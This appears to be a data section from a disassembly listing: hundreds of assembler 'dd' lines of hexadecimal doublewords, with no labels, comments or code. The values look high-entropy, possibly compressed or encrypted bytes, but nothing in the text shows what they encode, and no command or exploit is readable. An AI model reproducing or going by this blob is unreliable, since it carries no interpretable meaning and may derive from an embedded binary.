		dd 0F5E7D683h, 17F40424h, 91A628AAh, 0CA26AFECh, 0E47F4901h
		dd 1A120h, 874413CEh, 0FEF892DCh, 8EAD405h, 0D380180Eh
		dd 7AC2D33h, 6306BA6Bh,	7CDD207Ah, 6600AA8Dh, 0B9A2B391h
		dd 15C6C8h, 4DF29386h, 0A5779C92h, 0DCD0FF00h, 8AB16051h
		dd 12817D0Bh, 403137DAh, 6EAB26D8h, 0CD00E085h,	67A33E0Eh
		dd 0E665209Eh, 62450391h, 0D7BA28AFh, 85C568C8h, 9A78ACC0h
		dd 0F59392h, 0F9F31F5Dh, 0BB0CE59Bh, 7A19141Dh,	0E11EB100h
		dd 169BF0Fh, 7C24A310h,	3097BA5Ch, 5702AD08h, 0DBED9ED9h
		dd 44DAE056h, 0C6290752h, 56F52AE3h, 0C816A14Bh, 0F700F6D8h
		dd 0CFE1726Fh, 0EE9C2C16h, 1C1207h, 0A2A87C81h,	75004A43h
		dd 9C8EB80Ch, 0E06A6F5Bh, 7DA409A3h, 98A0D26Ch,	7CE967BDh
		dd 0AE10111Ch, 0E362B2CAh, 0A28F320Ah, 92BC0C02h, 13E06CA0h
		dd 40D45A4Dh, 2CE68CD8h, 93F67B5Ch, 5E01209Ah, 35B902ACh
		dd 0CB474191h, 398024BAh, 0FD4F4680h, 0A2D2049Ch, 0D1E36344h
		dd 0D4A15620h, 5F607213h, 4F379F21h, 44100F4h, 0E4860731h
		dd 0ED1FA9B3h, 0E118D1A7h, 0C55429h, 3FA3716Ah,	0D061220Ch
		dd 7A3B3D09h, 12100107h, 804C69A0h, 58688DAh, 0B4036800h
		dd 0E3A1DE6Eh, 52A0C876h, 7D35A586h, 0C8333C81h, 0CFF0D71Eh
		dd 0FEA11950h, 636F23CCh, 0A0884C5Ch, 3224159Ah, 0DAD2533Ah
		dd 50AAA849h, 669DD1CCh, 65099700h, 0AF6F5DB2h,	4D1F7CFh
		dd 30208847h, 920F7FD2h, 3E9D0354h, 9C96FD74h, 0CAB4803h
		dd 83706AB2h, 2DDED883h, 8CD6007Ah, 5C971BE9h, 1C927475h
		dd 270EE614h, 38672CE4h
		dd 0F3C6D980h, 629931h,	0ACC3A797h, 0C15C90E2h,	4B944300h
		dd 0E9E0B2BCh, 0A697005Fh, 0C4A16AB1h, 0CA006213h, 8A0AAC39h
		dd 2796B55h, 0E0999B0Eh, 30C0F9EDh, 0DF18D140h,	1A11A79Eh
		dd 448F7E7Bh, 89045AE6h, 0D02B36C9h, 0D5974183h, 58A2E097h
		dd 0AA0848DAh, 92901804h, 0FDA8112Ch, 6ED1FB60h, 2A3BF287h
		dd 1EB89BC6h, 1FAEBEEh,	4E4AFB4h, 572880AEh, 0CB87886h
		dd 4A49161Ch, 8B484848h, 706D062h, 438680A3h, 0A8160A20h
		dd 0B0009295h, 39946472h, 19D7009Fh, 9087256Eh,	542C6543h
		dd 0A7072C83h, 189003D3h, 3940BC1Ah, 0EA836336h, 89C621E9h
		dd 84560FA8h, 731BB717h, 0BB0E3300h, 0F975A24h,	2F8051ECh
		dd 0A9629FA1h, 69A0E3FDh, 0D700B3FFh, 0F2CBB5DFh, 38C570DBh
		dd 0AD484EC6h, 0C90F7700h, 55F49C4Dh, 58FE783Dh, 8E0D0154h
		dd 0DA8C22F0h, 60069840h, 67D30041h, 23E93492h,	0C34840EBh
		dd 48F02644h, 0C825BC0Ch, 3927C48h, 324197F3h, 0C0E82679h
		dd 0EA0E98F4h, 0E0AFF7E0h, 383972E9h, 0B3FD3761h, 60377011h
		dd 752F32ACh, 2125E11h,	0B422C364h, 692C3CC6h, 0A60044FEh
		dd 0B7D24D50h, 492700BAh, 0AFEDC1BFh, 0F73A88F6h, 3E4F82FFh
		dd 0E055D441h, 38E620FCh, 7EC9E8h, 49880530h, 0A54B2D4Dh
		dd 0F8492FB8h, 5BCA00E4h, 1172D78Ch, 0C341145Eh, 0C216F016h
		dd 0BBAC404Ch, 0AE2BD28Fh, 0B08AEB24h, 5A57C684h, 0F4CC2890h
		dd 2DF2794h, 0A0055D6h,	5956D664h, 5A7300D8h, 1A89AAA9h
		dd 271EDD1Fh, 0CA0191AFh, 512A6C41h, 5A31820h, 34236BBEh
		dd 0C284D0FDh, 0BD077D42h, 6AFF372Ah, 748883B4h, 8F409152h
		dd 5900EB7Ch, 50974AEFh, 0DEB47E00h, 0A2450FCCh, 3A7F13ADh
		dd 8C380FFDh, 3386D9C0h, 0F807D2BEh, 539CA370h,	345C4F50h
		dd 80380178h, 0EA46128h, 6AC6D4E5h, 6DC0E407h, 0E0E00B55h
		dd 0B077C3h, 6239EAD2h,	6FF15928h, 0B55A2000h, 6263614h
		dd 163001Dh, 978C7A7Eh,	3E764BF0h, 0D6CA3B00h, 6131A229h
		dd 2BE11DDBh, 0FE07C089h, 0EA189B8Eh, 810076ECh, 5714421Ah
		dd 126A844h, 0E4883BEDh, 0D4750AF9h, 0DD031018h, 0AF8A1A3Ah
		dd 1E3B170h, 0B85F5BE0h, 25E703A4h, 1ED58F82h, 9B515D80h
		dd 24CB3800h, 49D06368h, 627FE5h, 8A221FA8h, 82E6DA4Bh
		dd 9F642300h, 6D58D20Dh, 982E00BCh, 0E466B2F6h,	6C0EF501h
		dd 32C15EB7h, 61708000h, 90A63C8Fh, 11C800DFh, 0C2187344h
		dd 0A500F9B1h, 1974413Bh, 7777606Bh, 0F26A0130h, 7DE0B7B8h
		dd 8B11BB34h, 822CDFB6h, 409F91C7h, 7943E480h, 2619E4A3h
		dd 80503A60h, 0B550998Ch, 0D403A25Ah, 6DBE12F8h, 0DF9DB0B9h
		dd 577B5CDAh, 8048AB24h, 0F0E120B0h, 0B370ED60h, 4A774300h
		dd 5232E5C1h, 27D1CAFh,	0E99380CEh, 86E18927h, 0E065C1F1h
		dd 96093FBCh, 407B92ACh, 125EEEF8h, 8B4E09h, 0E2264967h
		dd 11DD4A12h, 0CE004D92h, 6B1A2A0Eh, 0E7960F9Dh, 72A0C7h
		dd 2EDD6CB0h, 5F00F213h, 0DF6D8EB3h, 0EE0F32h, 778CA95Dh
		dd 2B1033DCh, 70ADC8EDh, 19B27F1Eh, 952512C0h, 9E9B64h
		dd 7415DF14h, 98A5B896h, 18D88A01h, 95F4A68Dh, 163B1AF4h
		dd 1BAFB1h, 0FB8C7DA6h,	797C02D7h, 5DF1C160h, 58DDBCh
		dd 0CB57FF82h, 8396C226h, 340005FCh, 0CA551904h, 96180DFh
		dd 9C226EA9h, 0B6EEB800h, 6F3CE6C5h, 0EF670035h, 7BE2B9B8h
		dd 65440033h, 0E3C2B5F1h, 0BD0FA62Ch, 899AEEBEh, 0B884AF34h
		dd 783311h, 0A2716B25h,	0BBFF49C6h, 61561916h, 0D788C400h
		dd 0F30624h, 34F5AD03h,	0D07D3AFBh, 920C94Ch, 80662042h
		dd 2F0A9928h, 0AF240153h, 97AE8881h, 0EAD440A2h, 8F1EFF6Ah
		dd 0C870DB85h, 20DD36EFh, 23FE9BBEh, 0E37B3200h, 6BF2A9A8h
		dd 77360025h, 0F0A7A6DFh, 2F58226Dh, 32310778h,	2E95223h
		dd 0C309C573h, 8157D073h, 0E8A4036Eh, 7B76263Eh, 21EDC900h
		dd 907F0B2Eh, 0FD8D01A0h, 5F1A5111h, 5994D803h,	0BD00A4B8h
		dd 4BA560A6h, 1E92CFBFh, 0CC4C95EBh, 88A4ADF5h,	70F6FC2Ch
		dd 2CD26A00h, 3D15B39Ah, 18020BBh, 0D87DE9E3h, 0C098F759h
		dd 5AA8FB00h, 4C3F62DEh, 8CE3004Fh, 0CF61F357h,	7006722h
		dd 0E786448Dh, 7130880h, 0F045AA1Ch, 1EB863DFh,	5F4192F8h
		dd 0A0956226h, 7320D507h, 0ACF69640h, 43840BABh, 8800E460h
		dd 93A50A08h, 0DC001C90h, 40C1A351h, 71336F5h, 1E8AA5Ch
		dd 0ACD107Ah, 1F7BD8D3h, 0B880FC26h, 6CEFC360h,	6B9F01A3h
		dd 1A71354Dh, 0EA7C3065h, 6E805500h, 0F3EDA169h, 0BC2702E3h
		dd 0F49E9872h, 7805D880h, 9F38564Dh, 2F120049h,	0B261529Ch
		dd 4C9D0FB6h, 220B29A3h, 31E0F4AEh, 0AF427EA2h,	7904DCB0h
		dd 0BF655AB3h, 0D7461404h, 0ABDFF054h, 67002835h, 0E5ADAE34h
		dd 7B252FA9h, 747F0068h, 6E2D2C63h, 9B009CE6h, 0D1099BCh
		dd 17C064Eh, 0EF681B7Bh, 30A2CE30h, 8727205Ch, 691819D7h
		dd 5CEADCCh, 34ECAAE8h,	794C013h, 55000F72h, 5802F1F5h
		dd 1336641h, 0BAC76298h, 64D89274h, 0D0002CCCh,	0FC1AC316h
		dd 0CFF38h, 7FFDE641h, 3483DC7Bh, 0D675BB00h, 0E131A95Bh
		dd 0EF9C0252h, 3B4C8680h, 5CB81060h, 0ED6C7000h, 555A4840h
		dd 0A2CC00B3h, 0C38E60E0h, 0E9176B27h, 0EC5C81EFh, 0D3ADC170h
		dd 0E34AFAh, 0C9B756E4h, 3F01C7DEh, 0F9966151h,	4749816h
		dd 575222C1h, 97F1C900h, 5F4F43C0h, 4E3B0066h, 0C7C46ABCh
		dd 2D06E046h, 0FA52010Ah, 0DA480358h, 7D24DF85h, 6A733188h
		dd 49BAE101h, 6F3862E8h, 1EB018C4h, 644C748h, 74660A7Dh
		dd 0AD4D6D00h, 0FE803132h, 70BE4C62h, 8C201500h, 0A2ECD851h
		dd 6D18D600h, 0F8269201h, 0BA2400FBh, 0ED3F06ABh, 271D4742h
		dd 115C399Eh, 0D40180FCh, 2A77A2BBh, 0F5A6007Bh, 0C178AA8Bh
		dd 0FF0388DFh, 150F073Fh, 0F36288C6h, 11DB009Ch, 299AFA76h
		dd 0D004808h, 0C93178FFh, 14A18986h, 0E4998246h, 0E5D74E0Fh
		dd 6654CF60h, 0D9714F06h, 5200DBFEh, 0D6510464h, 0C83E2h
		dd 4E1EDE86h, 0D993657Bh, 22DC051Ah, 40C8011h, 2682120Bh
		dd 73C4BA7h, 0A00235F9h, 7ED59584h, 4E130400h, 8DC4B5FAh
		dd 8BB4135Ch, 4CB023D7h, 60E08F8Ah, 0E805F5F7h,	0F378A156h
		dd 0D8CBC0C0h, 0F874000Fh, 711CD776h, 35008301h, 12D6688Eh
		dd 14A2F13Bh, 99560AFEh, 72210B77h, 0E8877A77h,	1BE3AFE9h
		dd 0F2B0D3BEh, 267CC7FAh, 456E4002h, 0E0F6C2C4h, 0ED43F8h
		dd 7C11A5F1h, 99615C82h, 0D027D6B8h, 0A98000FDh, 18E08628h
		dd 1213772Bh, 0CA072EB7h, 50B4807Bh, 8C48E6C0h,	34F005A0h
		dd 0C01EA483h, 1BD79710h, 29C058h, 0EB109A6Bh, 90A9F9F7h
		dd 956C004Ch, 0B91E2CDDh, 0E764C954h, 0C0BB3A19h, 96D2A1Ch
		dd 1C2E0148h, 2170D843h, 215744Bh, 3C79F860h, 3440F4A4h
		dd 0BB00B857h, 0D85D1B47h, 71205FA7h, 97DB00CBh, 0DC95650Bh
		dd 6E00CF7Ch, 0AD0D0FA3h, 399DD857h, 281EE354h,	0CC12FCh
		dd 79B65E14h, 3A80986Eh, 0AB0100F3h, 227A78B3h,	50FF53Bh
		dd 2176AFA7h, 0FEF23D20h, 2661E8E0h, 0F3F302h, 3A955F71h
		dd 0C7F4D6A0h, 0BC3F102Eh, 0A6756F01h, 14204CCAh, 5D52231Dh
		dd 805F548Eh, 8683052Fh, 4D498ADh, 7F0E5AF2h, 14E890A2h
		dd 0C400462Dh, 0E66D2FE0h, 0F5AAD7h, 351C1D92h,	122B4CB3h
		dd 30AA30Bh, 3A4E80CEh,	1487D10h, 2FD31513h, 3072D536h
		dd 0C7132274h, 3612F951h
		dd 0DDF17404h, 62050D40h, 9D0055DFh, 0F74CEFB0h, 68BFD38h
		dd 11136918h, 24006006h, 3B8A80F6h, 107C4E5h, 0D81922BEh
		dd 70E3D57Dh, 0B200E902h, 1EC80DCCh, 3B3899E4h,	1F8108C7h
		dd 52EA5512h, 5E382084h, 0EED75F44h, 7749ABCh, 590A318Dh
		dd 80CFF5A5h, 2FD9C6F3h, 6C0040B8h, 804A8879h, 0A8B1AF5Eh
		dd 0E83D0490h, 0C2DF2EEEh, 0AAE609F3h, 7B8B007h, 0D3770D2h
		dd 1600CB2Ch, 8A27E55Fh, 97344h, 0C98553A8h, 4905D41Dh
		dd 0BD4E9E00h, 4D263A70h, 14973D01h, 0F1DF2C80h, 33F80982h
		dd 17C00A07h, 0A0CAFB10h, 0DC28FF02h, 51F8803Ch, 3077355Dh
		dd 1FD96317h, 5988BDCDh, 8D5600E9h, 5A658A57h, 363DCFDAh
		dd 0A18F8CD1h, 1233E070h, 0C80EBF31h, 8241ACACh, 0C73AECh
		dd 23CC5BB4h, 7F8C0868h, 884C6FFEh, 4CBD0041h, 74430F59h
		dd 705D0011h, 0EF24AE8Bh, 0FF0E803Dh, 1EBB6538h, 66C1003Dh
		dd 39429E6Ch, 0E20A00FCh, 0DE7D8ECCh, 0D902645Dh, 8BDA5BB0h
		dd 7C1C6045h, 1FF772BBh, 0B62894Ah, 3C804D7Eh, 0EDEE37A0h
		dd 0C2253Ch, 13973580h,	7F10E8h, 1CE21DA1h, 84EB911Ah
		dd 0A707FD13h, 0BAD15C04h, 88003894h, 4BC3DB01h, 12E6004Dh
		dd 90FB64E4h, 413C3991h, 321B1D71h, 1684202Dh, 0B6C63h
		dd 30537B82h, 0B6CE04F2h, 3B927250h, 0F8F051h, 394C84CBh
		dd 0C3EAEE00h, 496965A0h, 3CECF022h, 75019EC5h,	0F1FF873Dh
		dd 0CFD443D0h, 0D3E9C289h, 4B5A1FF8h, 0A6C7E0A8h, 25B1A260h
		dd 3A176AB3h, 230B9B27h, 0D80F13EBh, 1087A30Fh,	0A8C9C35Bh
		dd 0F42F1FB9h, 0C728BACAh, 0F20E207Fh, 61DF5321h, 8A3C4B5Bh
		dd 726F8828h, 0D82D071Fh, 0BAAA904Eh, 7F0D4497h, 88C00818h
		dd 0A15F3CECh, 488C1D18h, 0F33821FAh, 3D2C1F0Ah, 170A1063h
		dd 42181C0Ch, 0A0A4A288h, 0BB4394h, 0D717E6DCh,	7FBCC891h
		dd 0D1F0D200h, 34388473h, 5BA103C1h, 74989C46h,	0CA721780h
		dd 84FF2500h, 0BBE65A6Ah, 386509CCh, 0D3808A21h, 1D9CDC45h
		dd 6986D03h, 1A786D2h, 0E93E8E89h, 7152F90Eh, 5D853068h
		dd 2DD4AD00h, 0D0F71D25h, 188750B5h, 82FD00B7h,	451EF8A2h
		dd 0E63C7C6Dh, 818502EDh, 0C3F7B99Ch, 0A18E0E8h, 0EE97E45Fh
		dd 12820479h, 801FDDD6h, 0B92D1CAEh, 75B3FE0Eh,	0B146A194h
		dd 0E850597Eh, 0F8808564h, 4FE300E5h, 0ED6E1165h, 32001D7Ch
		dd 2AD457A1h, 0C04C22ADh, 873CAC31h, 1A07AB91h,	8BA6811Fh
		dd 0CA9CEAB1h, 0B98997E1h, 9F00C7F5h, 0ADCC764Ch, 414E2330h
		dd 929F4555h, 18970000h, 11C88F39h, 28C81BABh, 81D18349h
		dd 5100A587h, 0E3AC4D21h, 0ECE86B59h, 0B985000Bh, 1C7960ECh
		dd 57627FF0h, 40B23339h, 77566E1h, 9F5ABA0Dh, 0F04CD094h
		dd 0D500E0FAh, 164DADBEh, 398893Fh, 0E1E9B9D1h,	1BE00991h
		dd 9D01BAB4h, 0F57EFB96h, 706041CEh, 344C0118h,	2D3CBBB0h
		dd 426AD054h, 5B2711C4h, 15573160h, 75545822h, 4F17303Ah
		dd 90628A41h, 0C04DB56h, 109135A1h, 302CF80Ch, 422165A3h
		dd 32059A47h, 8EBF5CEBh, 6008D686h, 3F232177h, 751F489Ah
		dd 0E240F772h, 6EA06062h, 83533399h, 0C5E02A61h, 9EFA0B57h
		dd 292FC00h, 0DFCC82E3h, 0A63A1401h, 763A485Fh,	0C38DEA79h
		dd 0C823B011h, 6F1F17C8h, 90F5E33h, 7F21588Bh, 0E170C800h
		dd 0EA4DCF51h, 0A3016B7Dh, 69CD52ACh, 0E9B8DC0Eh, 0C8D18481h
		dd 83640AD5h, 72CF9B71h, 2BF8237Bh, 339A4801h, 7A1854EBh
		dd 402288h, 50F0BB9Ah, 0F8030B3Bh, 7769D267h, 9D8008C0h
		dd 4BC0ADDh, 83848574h,	25C91B54h, 0FD5BF0D8h, 0D5751C00h
		dd 4945E903h, 298D6073h, 4C7FC606h, 72137E18h, 76F3DC8h
		dd 98AAC9FDh, 97E61284h, 807080A7h, 0A444A60Ah,	6F3F5300h
		dd 2DFE0E54h, 28E0378h,	66A2AD15h, 37CB907h, 932A11A8h
		dd 461FB11Ch, 99CD595Eh, 91F1C154h, 83CCCFC1h, 820D178Fh
		dd 1C39054Bh, 6A4428Bh,	0DCA879D8h, 803811D8h, 173CC821h
		dd 84448C2Fh, 0C829064Eh, 71AAF794h, 797F7430h,	1A41EF2h
		dd 0D8F6D1A1h, 0E84E9B57h, 880B1187h, 872DF758h, 9E27795Dh
		dd 2A0DD6E1h, 9402D994h, 2803BD3Ah, 88F617D5h, 6F03C4C0h
		dd 61B08764h, 7B5C9943h, 6DA17119h, 6530A341h, 0D63E0081h
		dd 6A79F2BAh, 1824A1F6h, 467C8C8Fh, 7A3C7470h, 8FB0E484h
		dd 8B8A1F08h, 5A808895h, 501EAF09h, 0AE3500D5h,	0E76E915Dh
		dd 0E80E062Bh, 78749387h, 0F38BB1h, 3CD231E9h, 1FE4DCCAh
		dd 9E4C961Fh, 7449B752h, 28381870h, 6B0800FDh, 55F3D9D8h
		dd 710054A3h, 150B7807h, 0E2E52A91h, 0DF8312B0h, 23C03F23h
		dd 0B61E0088h, 70636695h, 0B0FFFB00h, 9D1B7D0Fh, 29F60CF7h
		dd 0E7317E8Bh, 2D7773Bh, 508E8103h, 4ED0C158h, 92DF270h
		dd 29B5468Bh, 40D8DC04h, 0E10BD0FBh, 6F247C42h,	0FC814915h
		dd 5411D805h, 235C2EECh, 0F7FA0984h, 75611090h,	0A2CDFB12h
		dd 0DE1A7806h, 6D62619h, 0F78F4118h, 0F184240Eh, 0F83031F0h
		dd 33BB29D9h, 0B9494CA5h, 5C943E06h, 0EE60084Fh, 0A53C1E21h
		dd 0BFC21682h, 82281E23h, 5E609941h, 62202C48h,	88734215h
		dd 386A00E0h, 0F0224CDh, 9DF19B4h, 8070081Fh, 0CD304C21h
		dd 3FAFB7h, 0BA3ED587h,	0D983FAECh, 90FBBD28h, 2C701944h
		dd 18DBD3D6h, 0C2B491E9h, 23E7270h, 11C92C0Eh, 0A315DD00h
		dd 135F55D3h, 4889F65h,	43F9D628h, 18D71169h, 898C7441h
		dd 0E1006EAEh, 0D885BB3h, 30AB06FDh, 4529D3F7h,	0F4F2D216h
		dd 81AF5D02h, 84656F6Dh, 226037D8h, 0E9B83DC8h,	8144D88Ch
		dd 0C82A004Dh, 0E277C451h, 19C07F8Bh, 0FB9F8684h, 3B2C00D7h
		dd 0E6CCB71Bh, 7702A181h, 0D1188BFFh, 796061CAh, 75C1E849h
		dd 809B8B11h, 4236DD49h, 78267F4h, 88709EA9h, 57DC608Fh
		dd 375098DEh, 80608B80h, 3EB5F431h, 0E84D00EDh,	4A365C74h
		dd 0C8038352h, 0F777C244h, 6A7103DFh, 0A1FCA688h, 311EE080h
		dd 8BF19C99h, 0C501F318h, 5D2CAC13h, 5AD5F8FBh,	7DC96D0h
		dd 0FF211FC1h, 0E3E1CF6Fh, 0C09EF2F6h, 943EA30Fh, 842B06E8h
		dd 0A15183E1h, 64D629D4h, 227C1444h, 9E009D3Eh,	0C9CF536Fh
		dd 903AC2h, 99157F7Dh, 14F87A56h, 531CE583h, 28E900A0h
		dd 0EBC5CD80h, 0D51B2269h, 39827430h, 0A20F39h,	157BC383h
		dd 8F69192Dh, 986F1714h, 73B2388h, 0F439C826h, 513807h
		dd 0E692C82Eh, 8636EE28h, 0F8084C90h, 0B97B7463h, 65F44D00h
		dd 7EC0A450h, 0B502E903h, 8F0F1131h, 1069A58Eh,	8836001h
		dd 0EC20B4A5h, 357C8C2Fh, 27544B11h, 209EE488h,	84B3A5C0h
		dd 6813EEh, 5EEB2D52h, 43622187h, 3701E893h, 70227CDh
		dd 4D887218h, 16CD7F2Fh, 6857887h, 9080A8F8h, 34023046h
		dd 1F544AA5h, 1D10E731h, 0F8E7A53Dh, 8507B214h,	7C8DD67Bh
		dd 6420133Eh, 7854729Ah, 78C49319h, 0D9247A34h,	0DE029FFAh
		dd 0C6298B96h, 23C4620h, 1738C825h, 20C4670Fh, 0BBC80C97h
		dd 32C1E8F7h, 3F43DC26h, 2F8CF000h, 395D4C59h, 46809BF6h
		dd 0ED35DDBDh, 0E1584913h, 34904090h, 0A530048Ch, 623F5446h
		dd 391920E1h, 25743CA5h, 0E9846301h, 0E414696Bh, 5B804872h
		dd 670F94Eh, 6B576D00h,	602371F1h, 0F279E3h, 77D89327h
		dd 0EAD0060Bh, 26EC3348h, 2C40F8F7h, 948965h, 0C65A0B91h
		dd 0DBF6FEA9h, 0A0B9CF00h, 50FDDB3h, 0E580947h,	30816604h
		dd 20AAE99Ah, 0EE8C3D1Ch
		dd 4602F6CDh, 7E2237h, 1ECD3547h, 6E13EB9Eh, 0BCA61CBAh
		dd 0C4644000h, 4CFCB454h, 0F8835C5Ch, 960A5921h, 0A8A01CEDh
		dd 9773246h, 4F5448A5h,	1B00801Ch, 7A21A53Bh, 3C683CA0h
		dd 0E8489731h, 38C87E8h, 0F68CD6CCh, 8AA813Eh, 20CD0E4h
		dd 0B18B5199h, 58ECB82Ah, 412398FBh, 25CD3901h,	75181702h
		dd 58314B88h, 9C0089CDh, 85437227h, 0CE4CFE56h,	0C164C1ECh
		dd 0E7EC7FD2h, 89391EFBh, 4129C086h, 0D74ECC3h,	0CCD9481Fh
		dd 2C26F0A6h, 9C40CD11h, 310E8C33h, 515447A5h, 1C80EF88h
		dd 8430A53Ah, 0CDF58CCh, 89DCA982h, 2B70EC50h, 0C6152A05h
		dd 7CCD1669h, 96B9A860h, 1C01F698h, 4985C2D4h, 4AC01AF1h
		dd 0AFB0003h, 0B2E4582h, 250AC090h, 3CB0A72Ah, 0ECAD200h
		dd 51B58A1h, 0F4481566h, 0D18405C5h, 0C0D4406Ah, 0F41B963h
		dd 4351E601h, 0F0681552h, 3A4F2980h, 0ED7E06A4h, 0B8F1BD02h
		dd 60918D5Eh, 6760174Ch, 0CB9F29FCh, 429DF48Eh,	0F20E526Fh
		dd 0ECA940E8h, 0A3088F70h, 18B59F7h, 42343A2Ah,	9041C22Eh
		dd 0A58060E7h, 11F0184Ch, 0D601F313h, 0DAAC25DBh, 308C61B2h
		dd 0C0B81F6Fh, 623C20h,	0DA683DFFh, 528C3E36h, 8D4C1874h
		dd 42761E5Ch, 15C0101Ch, 6C65770Ah, 616A74BFh, 0D960864h
		dd 1523C494h, 8130276Eh, 0B42E87EEh, 0F0DDC76Eh, 0D0DE8951h
		dd 5C830E00h, 25A3108Dh, 9972304Eh, 0BF39AB11h,	0D1847B00h
		dd 5EFFD694h, 4EDA3012h, 3C352690h, 0C9224714h,	80CA38B8h
		dd 9485DF8Bh, 3B911599h, 304E62A2h, 0F54F55F0h,	7A0B6A03h
		dd 0A0142E0Fh, 74226FCh, 0FF280373h, 922C360h, 523BBE0h
		dd 19106D1Fh, 621E741Eh, 1878767Ah, 510A5D00h, 6E03A042h
		dd 0D1B7041Ah, 937C3285h, 6AC87352h, 0F5037905h, 0F6D031Eh
		dd 0B63E06Bh, 4509481Bh, 30084B36h, 0B55D080Fh,	807B8E27h
		dd 0FC782E6Ah, 0B00D1D24h, 0AF0F0A04h, 0D7042364h, 0C98B18D4h
		dd 0D0F710EAh, 0CA7519C0h, 72C634h, 1878BBCh, 0E413EDC9h
		dd 938C5F13h, 0EDC8348Bh, 0C121E5C0h, 0A40318EBh, 4EC4487Dh
		dd 0DD628C3h, 0EB9106C7h, 208D3C13h, 147D096h, 0AF06D6E0h
		dd 737800B8h, 0DCF8C5FEh, 9F00AA8Ah, 0CBD807C8h, 0B85FA0EFh
		dd 0DF0E31E0h, 69156951h, 0C287C44h, 2B773461h,	7D587F40h
		dd 71A71E0Eh, 2D908B8Eh, 4A04E066h, 64EB359Ah, 20207C62h
		dd 0BE9A42h, 0B3A87D52h, 0FE545A2Ch, 508C4B30h,	0A0EC1769h
		dd 886E0740h, 0C4A8928Bh, 44F620E2h, 93E49809h,	0C0F8ED82h
		dd 9FF3510Bh, 0B02CCB0Eh, 547C4303h, 40B3B30Eh,	4058E088h
		dd 45BD677h, 0AA75423h,	53609951h, 7FD041B8h, 0D1A843D4h
		dd 0FBCA0390h, 2189DF33h, 593EA220h, 0CD3C8FA8h, 622F0264h
		dd 34482071h, 0F8625CCDh, 79FC3AB6h, 2B8782A8h,	0BC72F79Ah
		dd 39797430h, 0FAE03Ah,	0C2FF4CA6h, 0E2377AB1h,	0B339141Ch
		dd 11F7AE46h, 286228C9h, 0E5E0028h, 8E782088h, 0F0FD06Dh
		dd 2A23999Dh, 56038071h, 0F39E30Eh, 0F1B00C20h,	64039941h
		dd 0D65A0062h, 9C81516Bh, 1D3DBE7h, 7E6FE9F0h, 20DFF672h
		dd 0E640BF38h, 860F0C8Fh, 7689100Ah, 0EF1A94EEh, 5920B407h
		dd 18827970h, 0C33B06DFh, 1998E583h, 89599913h,	60F76C88h
		dd 0F2FDF1D6h, 1C03310Fh, 5BE08253h, 43A5C13Fh,	9C8438h
		dd 0A90AAC15h, 3E12046Bh, 4086F61h, 4554A867h, 0A46047DDh
		dd 44ED03B0h, 6CF2DDBFh, 6F307AF2h, 1BD80152h, 60B702B0h
		dd 0A080E21Ah, 402B452Ah, 0DCB87B50h, 9B53F510h, 4C400325h
		dd 10D7BB38h, 71C8B8CBh, 5A9678C0h, 56D53243h, 0D0589B19h
		dd 842F3E4Eh, 0D9008623h, 64B34002h, 84A40CD6h,	0F7219CEBh
		dd 7A399CA4h, 8061B8FFh, 3872718Fh, 361B4B2Bh, 0FCE8638Ch
		dd 0E98E0333h, 3E682D8Dh, 81918417h, 0CABE7B80h, 1C56693Ch
		dd 98BB10DCh, 29403201h, 4287E384h, 0C320EE54h,	45F8A4h
		dd 60B12216h, 71354097h, 0AC26CE00h, 661B6E88h,	59D62402h
		dd 1D911D4h, 483C29FBh,	0B9918F54h, 0C8248139h,	67C6173Bh
		dd 2C4F0054h, 4D7F28C8h, 4211080Eh, 60D2600Eh, 91A4B52h
		dd 0EAD659E7h, 3E78CC2Ah, 0F78988F2h, 0A8B58B24h, 37FB4004h
		dd 34816880h, 7CCF78EDh, 2FB45A01h, 0E423F0h, 0C9EF7EBEh
		dd 9E244C53h, 660E28EDh, 392B0096h, 0C6E31669h,	91787431h
		dd 0E70BE100h, 91B7BB2Bh, 0CEC9008Eh, 9FA918C5h, 0D8143FA8h
		dd 0A05795h, 0B44E2502h, 0FDA4BCh, 216FB5FFh, 5E993233h
		dd 0A19294BCh, 1FBCB4h,	0CD6ACAA7h, 0ABA35728h,	7B20109h
		dd 115C1DF3h, 2F009385h, 0B870BD9Dh, 0E7C90584h, 0A30FB213h
		dd 32EEB2E0h, 80696355h, 485248B7h, 0B048E853h,	8AF0C00Fh
		dd 2F8028B4h, 375445A5h, 381A0087h, 3D0103A5h, 0C886549h
		dd 21D4F74Ah, 396000EEh, 22113E58h, 213A53B4h, 0E70A86A3h
		dd 0E8E9998Bh, 409E006Dh, 1D36A651h, 0FB00D880h, 0B4C6CB69h
		dd 9E350EDh, 0DB53D789h, 9000200Fh, 3614E002h, 170CA678h
		dd 0C86DCE48h, 0A3E71B61h, 83DB28DEh, 68681381h, 8CE4BCD8h
		dd 2001FFFAh, 811609Fh,	9C738CA1h, 3830E3A2h, 6F6D5C26h
		dd 61DCD52Ch, 4BF1029Bh, 0C7EFC8B8h, 0C517C72Eh, 80A041B4h
		dd 2E260BD6h, 302A6022h, 30129A45h, 0ECF24CEBh,	9A3D25C0h
		dd 6D00C272h, 0C6B9C4B7h, 49524D89h, 1010A040h,	968088EBh
		dd 0D474005Fh, 8D7AB858h, 77F43212h, 3E59981Dh,	94219F39h
		dd 20740892h, 866CCE94h, 894FF100h, 228E8F55h, 0BC7002E7h
		dd 5D1EEE1Dh, 380B5063h, 9DBF94EBh, 80701154h, 0C5F1121Ch
		dd 917D12DDh, 3A4C5215h, 8823D4h, 56326D87h, 0CB09E804h
		dd 0A7A07405h, 7A6970D0h, 75B402E4h, 0ADB35EFDh, 0B04280C2h
		dd 84441CC7h, 509FEA60h, 68697E24h, 0B5E00502h,	0F1744202h
		dd 188B79E0h, 4FF000C5h, 50CD6533h, 73F24615h, 5EE8A095h
		dd 42AE41Ah, 85F16F9Ch,	88208EBBh, 0FF1AC07Ch, 0D706A540h
		dd 0FD849FE2h, 22E4648h, 0EB349A49h, 58A45E6Ch,	9A024121h
		dd 0B46F1446h, 57062D5h, 0FC9A96B4h, 1AC08188h,	77021133h
		dd 963C7E64h, 9BD60E18h, 0F8E692D0h, 0A82D88A0h, 0D7628304h
		dd 38C4B3CBh, 0CD8EB8ACh, 0CA91BBC0h, 0B500C7DCh, 34CF3F1Ch
		dd 57427E5h, 0B8E7BA5Ch, 0D07C813Bh, 4024CBEBh,	0D571EC6Fh
		dd 679879A4h, 5F7F5001h, 173CA630h, 0FD5814Dh, 48E743CDh
		dd 445B4C60h, 0E9F12A8Fh, 23B065FCh, 30E8A260h,	0BE73BDF7h
		dd 0F0B5D602h, 607C1066h, 0C0B173C0h, 0FE5270B8h, 38949C83h
